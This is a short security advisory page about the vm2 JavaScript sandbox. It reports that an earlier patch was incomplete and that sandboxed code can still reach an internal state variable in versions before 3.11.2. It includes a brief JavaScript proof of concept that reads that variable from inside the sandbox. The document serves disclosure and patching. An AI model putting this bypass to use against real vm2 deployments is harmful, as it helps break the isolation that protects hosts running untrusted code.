github.com
https://github.com/patriksimek/vm2 GHSA-2CM2-M3W5-GP2F
vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
Description
### Summary https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched. ### Details It is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL'] `)); ```
Description source: GitHub Advisory
Affected products and versions
1| Product | Source | Version range | Status |
|---|---|---|---|
| GitHub Advisory | Before 3.11.2 · Fixed in 3.11.2 | affected |
References
3github.com
https://github.com/patriksimek/vm2/releases/tag/v3.11.2 github.com
https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f